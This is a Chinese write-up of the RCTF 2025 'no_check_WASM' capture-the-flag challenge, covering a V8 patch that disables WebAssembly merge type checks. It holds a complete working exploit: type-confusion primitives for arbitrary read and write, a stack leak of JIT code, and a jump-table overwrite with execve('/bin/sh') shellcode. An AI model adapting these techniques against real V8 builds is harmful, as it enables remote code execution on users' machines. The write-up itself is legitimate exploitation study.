RCTF2025-no_check_WASM复现

环境搭建

1
2
3
4
git reset --hard 42f5ff65d12f0ef9294fa7d3875feba938a81904
gclient sync -D
git apply < ./patch.diff
gn args out/x64.release

修改一下编译参数

1
2
3
4
5
6
7
8
9
10
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = true
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
dcheck_always_on = false
symbol_level = 2

编译

1
autoninja -C out/x64.release d8 

diff文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 478c7cb3c75..b4700b6cab2 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -4213,51 +4213,51 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(

Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
- global_template->Set(Symbol::GetToStringTag(isolate),
- String::NewFromUtf8Literal(isolate, "global"));
- global_template->Set(isolate, "version",
- FunctionTemplate::New(isolate, Version));
+ // global_template->Set(Symbol::GetToStringTag(isolate),
+ // String::NewFromUtf8Literal(isolate, "global"));
+ // global_template->Set(isolate, "version",
+ // FunctionTemplate::New(isolate, Version));

global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
- global_template->Set(isolate, "printErr",
- FunctionTemplate::New(isolate, PrintErr));
- global_template->Set(isolate, "write",
- FunctionTemplate::New(isolate, WriteStdout));
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "writeFile",
- FunctionTemplate::New(isolate, WriteFile));
- }
- global_template->Set(isolate, "read",
- FunctionTemplate::New(isolate, ReadFile));
- global_template->Set(isolate, "readbuffer",
- FunctionTemplate::New(isolate, ReadBuffer));
- global_template->Set(isolate, "readline",
- FunctionTemplate::New(isolate, ReadLine));
- global_template->Set(isolate, "load",
- FunctionTemplate::New(isolate, ExecuteFile));
- global_template->Set(isolate, "setTimeout",
- FunctionTemplate::New(isolate, SetTimeout));
- // Some Emscripten-generated code tries to call 'quit', which in turn would
- // call C's exit(). This would lead to memory leaks, because there is no way
- // we can terminate cleanly then, so we need a way to hide 'quit'.
- if (!options.omit_quit) {
- global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
- }
- global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
- global_template->Set(isolate, "performance",
- Shell::CreatePerformanceTemplate(isolate));
- global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
-
- // Prevent fuzzers from creating side effects.
- if (!i::v8_flags.fuzzing) {
- global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
- }
- global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
-
- if (i::v8_flags.expose_async_hooks) {
- global_template->Set(isolate, "async_hooks",
- Shell::CreateAsyncHookTemplate(isolate));
- }
+ // global_template->Set(isolate, "printErr",
+ // FunctionTemplate::New(isolate, PrintErr));
+ // global_template->Set(isolate, "write",
+ // FunctionTemplate::New(isolate, WriteStdout));
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "writeFile",
+ // FunctionTemplate::New(isolate, WriteFile));
+ // }
+ // global_template->Set(isolate, "read",
+ // FunctionTemplate::New(isolate, ReadFile));
+ // global_template->Set(isolate, "readbuffer",
+ // FunctionTemplate::New(isolate, ReadBuffer));
+ // global_template->Set(isolate, "readline",
+ // FunctionTemplate::New(isolate, ReadLine));
+ // global_template->Set(isolate, "load",
+ // FunctionTemplate::New(isolate, ExecuteFile));
+ // global_template->Set(isolate, "setTimeout",
+ // FunctionTemplate::New(isolate, SetTimeout));
+ // // Some Emscripten-generated code tries to call 'quit', which in turn would
+ // // call C's exit(). This would lead to memory leaks, because there is no way
+ // // we can terminate cleanly then, so we need a way to hide 'quit'.
+ // if (!options.omit_quit) {
+ // global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit));
+ // }
+ // global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate));
+ // global_template->Set(isolate, "performance",
+ // Shell::CreatePerformanceTemplate(isolate));
+ // global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate));
+
+ // // Prevent fuzzers from creating side effects.
+ // if (!i::v8_flags.fuzzing) {
+ // global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate));
+ // }
+ // global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate));
+
+ // if (i::v8_flags.expose_async_hooks) {
+ // global_template->Set(isolate, "async_hooks",
+ // Shell::CreateAsyncHookTemplate(isolate));
+ // }

return global_template;
}
diff --git a/src/wasm/function-body-decoder-impl.h b/src/wasm/function-body-decoder-impl.h
index b65ba5b9675..163fc536138 100644
--- a/src/wasm/function-body-decoder-impl.h
+++ b/src/wasm/function-body-decoder-impl.h
@@ -7878,27 +7878,27 @@ class WasmFullDecoder : public WasmDecoder<ValidationTag, decoding_mode> {
// if the current code is reachable even if it is spec-only reachable.
if (V8_LIKELY(decoding_mode == kConstantExpression ||
!control_.back().unreachable())) {
- if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
- this->DecodeError("expected %u elements on the stack for %s, found %u",
- arity, merge_description, actual);
- return false;
- }
- // Typecheck the topmost {merge->arity} values on the stack.
- Value* stack_values = stack_.end() - arity;
- for (uint32_t i = 0; i < arity; ++i) {
- Value& val = stack_values[i];
- Value& old = (*merge)[i];
- if (!IsSubtypeOf(val.type, old.type, this->module_)) {
- this->DecodeError("type error in %s[%u] (expected %s, got %s)",
- merge_description, i, old.type.name().c_str(),
- val.type.name().c_str());
- return false;
- }
- if constexpr (static_cast<bool>(rewrite_types)) {
- // Upcast type on the stack to the target type of the label.
- val.type = old.type;
- }
- }
+ // if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
+ // this->DecodeError("expected %u elements on the stack for %s, found %u",
+ // arity, merge_description, actual);
+ // return false;
+ // }
+ // // Typecheck the topmost {merge->arity} values on the stack.
+ // Value* stack_values = stack_.end() - arity;
+ // for (uint32_t i = 0; i < arity; ++i) {
+ // Value& val = stack_values[i];
+ // Value& old = (*merge)[i];
+ // if (!IsSubtypeOf(val.type, old.type, this->module_)) {
+ // this->DecodeError("type error in %s[%u] (expected %s, got %s)",
+ // merge_description, i, old.type.name().c_str(),
+ // val.type.name().c_str());
+ // return false;
+ // }
+ // if constexpr (static_cast<bool>(rewrite_types)) {
+ // // Upcast type on the stack to the target type of the label.
+ // val.type = old.type;
+ // }
+ // }
return true;
}
// Unreachable code validation starts here.

漏洞分析

首先分析一下diff文件到底patch了什么,第一处patch就是把d8的一些功能删了,但是和漏洞利用核心关系不大 用来恶心人的,只是增大了exp的wasm代码部分构建难度,本地做题的时候可以不用打,如果你看到这里已经打了那就去重新编译d8吧bushi 重点看第二处,可以看到具体patch位置在

src/wasm/function-body-decoder-impl.hWasmFullDecoder类中,他把merge point相关的检测注释掉了,现在不管什么都返回true了

那我们找到对应的源码进行分析 在源码7879行,注释掉了是因为打过patch了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if (V8_LIKELY(decoding_mode == kConstantExpression ||
!control_.back().unreachable())) {
// if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
// this->DecodeError("expected %u elements on the stack for %s, found %u",
// arity, merge_description, actual);
// return false;
// }
// // Typecheck the topmost {merge->arity} values on the stack.
// Value* stack_values = stack_.end() - arity;
// for (uint32_t i = 0; i < arity; ++i) {
// Value& val = stack_values[i];
// Value& old = (*merge)[i];
// if (!IsSubtypeOf(val.type, old.type, this->module_)) {
// this->DecodeError("type error in %s[%u] (expected %s, got %s)",
// merge_description, i, old.type.name().c_str(),
// val.type.name().c_str());
// return false;
// }
// if constexpr (static_cast<bool>(rewrite_types)) {
// // Upcast type on the stack to the target type of the label.
// val.type = old.type;
// }
// }
return true;
}

那么问题来了,我们如何进入到这个有漏洞的分支中,先看一下他的上层代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) {
uint32_t arity = merge->arity;
uint32_t actual = stack_.size() - control_.back().stack_depth;
// Handle trivial cases first. Arity 0 is the most common case.
if (arity == 0 && (!strict_count || actual == 0)) return true;
// Arity 1 is still common enough that we handle it separately (only doing
// the most basic subtype check).
if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) {
if (stack_.back().type == merge->vals.first.type) return true;
}
return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values,
merge_type, rewrite_types>(merge);
}

// Slow path for {TypeCheckStackAgainstMerge}.
template <StackElementsCountMode strict_count,
PushBranchValues push_branch_values, MergeType merge_type,
RewriteStackTypes rewrite_types>
V8_PRESERVE_MOST V8_NOINLINE bool TypeCheckStackAgainstMerge_Slow(
Merge<Value>* merge) {
constexpr const char* merge_description =
merge_type == kBranchMerge ? "branch"
: merge_type == kReturnMerge ? "return"
: merge_type == kInitExprMerge ? "constant expression"
: "fallthru";
uint32_t arity = merge->arity;
uint32_t actual = stack_.size() - control_.back().stack_depth;
// Here we have to check for !unreachable(), because we need to typecheck as
// if the current code is reachable even if it is spec-only reachable.
if (V8_LIKELY(decoding_mode == kConstantExpression ||
!control_.back().unreachable())) {
// if (V8_UNLIKELY(strict_count ? actual != arity : actual < arity)) {
// this->DecodeError("expected %u elements on the stack for %s, found %u",
// arity, merge_description, actual);
// return false;
// }
// // Typecheck the topmost {merge->arity} values on the stack.
// Value* stack_values = stack_.end() - arity;
// for (uint32_t i = 0; i < arity; ++i) {
// Value& val = stack_values[i];
// Value& old = (*merge)[i];
// if (!IsSubtypeOf(val.type, old.type, this->module_)) {
// this->DecodeError("type error in %s[%u] (expected %s, got %s)",
// merge_description, i, old.type.name().c_str(),
// val.type.name().c_str());
// return false;
// }
// if constexpr (static_cast<bool>(rewrite_types)) {
// // Upcast type on the stack to the target type of the label.
// val.type = old.type;
// }
// }
return true;
}

不难发现patch的内容在 TypeCheckStackAgainstMerge_Slow 中,通过名字判断这应该是个慢速路径,TypeCheckStackAgainstMerge_Slow 又被TypeCheckStackAgainstMerge 调用,分析到这一步已经够用了,笔者就不接着往上分析了,现在来分析一下TypeCheckStackAgainstMerge 怎么才能走到TypeCheckStackAgainstMerge_Slow 的路径中

1
2
3
4
5
6
7
8
9
10
11
12
13
V8_INLINE bool TypeCheckStackAgainstMerge(Merge<Value>* merge) {
uint32_t arity = merge->arity;
uint32_t actual = stack_.size() - control_.back().stack_depth;
// Handle trivial cases first. Arity 0 is the most common case.
if (arity == 0 && (!strict_count || actual == 0)) return true;
// Arity 1 is still common enough that we handle it separately (only doing
// the most basic subtype check).
if (arity == 1 && (strict_count ? actual == arity : actual >= arity)) {
if (stack_.back().type == merge->vals.first.type) return true;
}
return TypeCheckStackAgainstMerge_Slow<strict_count, push_branch_values,
merge_type, rewrite_types>(merge);
}

不难发现栈上的实际值数量与合并点期望接收的值数量不一致会进入慢速路径中,下面我们写一个poc来验证一下

这个poc添加了一个一个叫poc的wasm函数,不接受任何参数,并承诺返回三个i32类型的参数,但我们这个函数是个空函数

栈上一个值也不会有

1
2
3
4
5
6
7
8
9
10
11
12
path = "../v8/test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(path);

const builder = new WasmModuleBuilder();
builder.addFunction("poc", makeSig([], [kWasmI32,kWasmI32,kWasmI32]))
.exportFunc()
.addBody([
]);

const instance = builder.instantiate();
let {poc} = instance.exports;
poc();

直接运行会报错,报的错不是参数校验不对,而是V8的Liftoff编译器在尝试处理返回值时出现问题,因为函数声称返回3个值但实际栈上没有任何值,我们通过栈回溯也可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
pwndbg> bt
#0 v8::internal::wasm::LiftoffAssembler::SpillRegister (this=0x7ffcd15f3d48, reg=reg@entry=...) at ../../src/wasm/baseline/liftoff-assembler.cc:1171
#1 0x000055bfc254f538 in v8::internal::wasm::LiftoffAssembler::SpillOneRegister (this=0x7ffcd15f3d48, candidates=candidates@entry=...)
at ../../src/wasm/baseline/liftoff-assembler.cc:1115
#2 0x000055bfc254bad5 in v8::internal::wasm::LiftoffAssembler::GetUnusedRegister (this=0x7ffcd15f3d48, candidates=...)
at ../../src/wasm/baseline/liftoff-assembler.h:552
#3 v8::internal::wasm::LiftoffAssembler::GetUnusedRegister (this=0x7ffcd15f3d48, pinned=..., rc=<optimized out>)
at ../../src/wasm/baseline/liftoff-assembler.h:542
#4 v8::internal::wasm::LiftoffAssembler::LoadToRegister_Slow (this=this@entry=0x7ffcd15f3d48, slot=..., pinned=pinned@entry=...)
at ../../src/wasm/baseline/liftoff-assembler.cc:380
#5 0x000055bfc254ef17 in v8::internal::wasm::LiftoffAssembler::LoadToRegister (this=0x7ffcd15f3d48, slot=..., pinned=...)
at ../../src/wasm/baseline/liftoff-assembler.h:396
#6 v8::internal::wasm::LiftoffAssembler::MoveToReturnLocationsMultiReturn (this=0x7ffcd15f3d48, sig=0x1b6c00e8a828, descriptor=0x1b6c00e8f850)
at ../../src/wasm/baseline/liftoff-assembler.cc:1015
#7 0x000055bfc254eadd in v8::internal::wasm::LiftoffAssembler::MoveToReturnLocations (this=0x7ffcd15f3d48, sig=0x1b6c00e8a828, descriptor=0x1b6c00e8f850)
at ../../src/wasm/baseline/liftoff-assembler.cc:950
#8 0x000055bfc2577036 in v8::internal::wasm::(anonymous namespace)::LiftoffCompiler::ReturnImpl (this=this@entry=0x7ffcd15f3d48,
decoder=decoder@entry=0x7ffcd15f3cb0) at ../../src/wasm/baseline/liftoff-compiler.cc:3087
#9 0x000055bfc255c8fe in v8::internal::wasm::(anonymous namespace)::LiftoffCompiler::DoReturn (this=0x7ffcd15f3d48, decoder=0x7ffcd15f3cb0)
at ../../src/wasm/baseline/liftoff-compiler.cc:3067
#10 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::DoReturn<(v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::StackElementsCountMode)1, (v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::MergeType)2> (this=0x7ffcd15f3cb0)
at ../../src/wasm/function-body-decoder-impl.h:7943
#11 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::DecodeEndImpl (this=0x7ffcd15f3cb0, trace_msg=<optimized out>, opcode=<optimized out>)
at ../../src/wasm/function-body-decoder-impl.h:4036
#12 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::DecodeEnd (decoder=0x7ffcd15f3cb0, opcode=<optimized out>) at ../../src/wasm/function-body-decoder-impl.h:3943
#13 0x000055bfc2553b7b in v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::DecodeFunctionBody (this=0x7ffcd15f3cb0) at ../../src/wasm/function-body-decoder-impl.h:3287
#14 v8::internal::wasm::WasmFullDecoder<v8::internal::wasm::Decoder::NoValidationTag, v8::internal::wasm::(anonymous namespace)::LiftoffCompiler, (v8::internal::wasm::DecodingMode)0>::Decode (this=this@entry=0x7ffcd15f3cb0) at ../../src/wasm/function-body-decoder-impl.h:3110
#15 0x000055bfc255244c in v8::internal::wasm::ExecuteLiftoffCompilation (env=env@entry=0x7ffcd15f4538, func_body=..., compiler_options=...)
at ../../src/wasm/baseline/liftoff-compiler.cc:10823
#16 0x000055bfc25db9fb in v8::internal::wasm::WasmCompilationUnit::ExecuteCompilation (this=0x7ffcd15f45b0, env=0x7ffcd15f4538,
wire_bytes_storage=0x1b6c00024918, counter_updates=0x1b6c000145c0, detected=0x7ffcd15f45a8) at ../../src/wasm/function-compiler.cc:110
#17 0x000055bfc25df4f8 in v8::internal::wasm::CompileLazy (isolate=isolate@entry=0x1b6c00188000, native_module=native_module@entry=0x1b6c00014400,
func_index=func_index@entry=0) at ../../src/wasm/module-compiler.cc:1165
#18 0x000055bfc253207a in v8::internal::__RT_impl_Runtime_WasmCompileLazy (args=..., isolate=0x1b6c00188000) at ../../src/runtime/runtime-wasm.cc:401
#19 v8::internal::Runtime_WasmCompileLazy (args_length=<optimized out>, args_object=<optimized out>, isolate=0x1b6c00188000)
at ../../src/runtime/runtime-wasm.cc:387
#20 0x000055bfc31aa849 in Builtins_WasmCEntry ()
#21 0x000055bfc31a2d95 in Builtins_WasmCompileLazy ()
#22 0x0000000000000000 in ?? ()

漏洞利用

在具体利用之前我们先来熟悉一下WASM的几个数据类型

1
2
3
4
i32 int32类型
i64 int64类型
externref 外部引用 用于wasm和javascript的对象交互,但是wasm并不能知道javascript对象具体结构布局
struct 内部结构体 wasm完全知道结构布局

然后我们开始构造addressOffakeObj原语,我们可以通过函数返回时的控制流合并进行类型混淆

addressOf
1
2
3
4
5
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32])) //接受一个externref类型返回一个int32类型
.exportFunc()
.addBody([
kExprLocalGet, 0,//将第一个参数压入栈中,返回值默认从栈顶开始取
]);
fakeObj
1
2
3
4
5
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
AAR && AAW

这里注意一下AAR和AAW的时候要先把i64通过控制流合并进行类型混淆成struct

1
2
3
4
5
6
const structType = builder.addStruct([makeField(kWasmI64, true)]);

const i2s = builder.addFunction("i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);
1
2
3
4
5
6
7
8
9
builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0, //获取第一个参数
kExprCallFunction, i2s.index, //将第一个参数传入i2s函数
kGCPrefix, kExprStructGet, //解引用读取
...wasmUnsignedLeb(structType, kMaxVarInt32Size),//指定从哪种结构体读取
...wasmUnsignedLeb(0, kMaxVarInt32Size),//0表示读取第一个字段
]);
1
2
3
4
5
6
7
8
9
10
builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, i2s.index,
kExprLocalGet, 1, //获取第二个参数即要写入的数据
kGCPrefix, kExprStructSet, //解引用写入
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);
泄露沙箱的基址&wasm stack
1
2
3
4
5
builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
]);
1
2
3
4
5
builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);
遇到的问题

实际调试发现泄露出的值与栈偏移处的值并不相等,我的猜测是struct的结构体并不是直接指向第一个字段的应该还有其他结构然后才是字段?所以有偏移。后面看了flyyyy师傅的解释这里泄漏出来的值与栈偏移处的值并不相等,原因应该是当i64被cast成struct的时候,底层的heaptype等字段被修改,因此实际转换成struct进行取值的时候,会略微有偏差(通过以前阅读src/wasm/*的推测,这次并没有通过源码验证)

1
2
3
4
5
6
7
8
9
10
11
let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
hexx("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
hexx("stack_value", stack_value);

for(let i = 0; i < 10; i++){
let test = AAR(stack_value+1n+BigInt(i*0x8));
hexx("test", test);
}

image-20251211041049303

然后可以看到泄露出的第一个地址位于jit-code所在的段,调试发现于jump_table的偏移也是固定的(在笔者的机器上是0x2940)的那么我们可以将jump_table本来要跳转的汇编指令部分修改为我们的shellcode(将我们的shellcode覆盖在蓝框的区域问题都不大)

image-20251211051515193

image-20251211051730977

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new Array(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();

path = "../v8/test/mjsunit/wasm/wasm-module-builder.js";
d8.file.execute(path);

const builder = new WasmModuleBuilder();

const structType = builder.addStruct([makeField(kWasmI64, true)]);

const i2s = builder.addFunction("i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
kExprLocalGet, 0,
]);

builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, i2s.index,
kGCPrefix, kExprStructGet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
kExprLocalGet, 0,
kExprCallFunction, i2s.index,
kExprLocalGet, 1,
kGCPrefix, kExprStructSet,
...wasmUnsignedLeb(structType, kMaxVarInt32Size),
...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
kExprI64Const, 0,
]);

const instance = builder.instantiate();
let {leak_stack, AAR, AAW} = instance.exports;

let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
hexx("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
hexx("stack_value", stack_value);

//stop()

let jit_code_addr = AAR(stack_value+1n);

hexx("jit_code_addr", jit_code_addr);

let wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0,
1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128,
128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105,
110, 0, 0, 10, 142, 128, 128, 128, 0, 1, 136, 128, 128, 128, 0, 0, 65, 239, 253, 182, 245, 125,
11,
])
let wasm_module = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_module);
let shell = wasm_instance.exports.main;

let offset = 0x2940n;
let rop_addr = jit_code_addr+offset;

hexx("rop_addr", rop_addr);

let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];


shell();//start_jump_table有点类似glibc的lazy binding,第一次shell()是用于初始化的
//stop()
for(let i = 0; i < shellcode.length; i++){
AAW(rop_addr+BigInt(i*0x8)+1n, shellcode[i]);
}

shell();

image-20251211054125360参考:RCTF 2025 - no_check_WASM - flyyy’s blog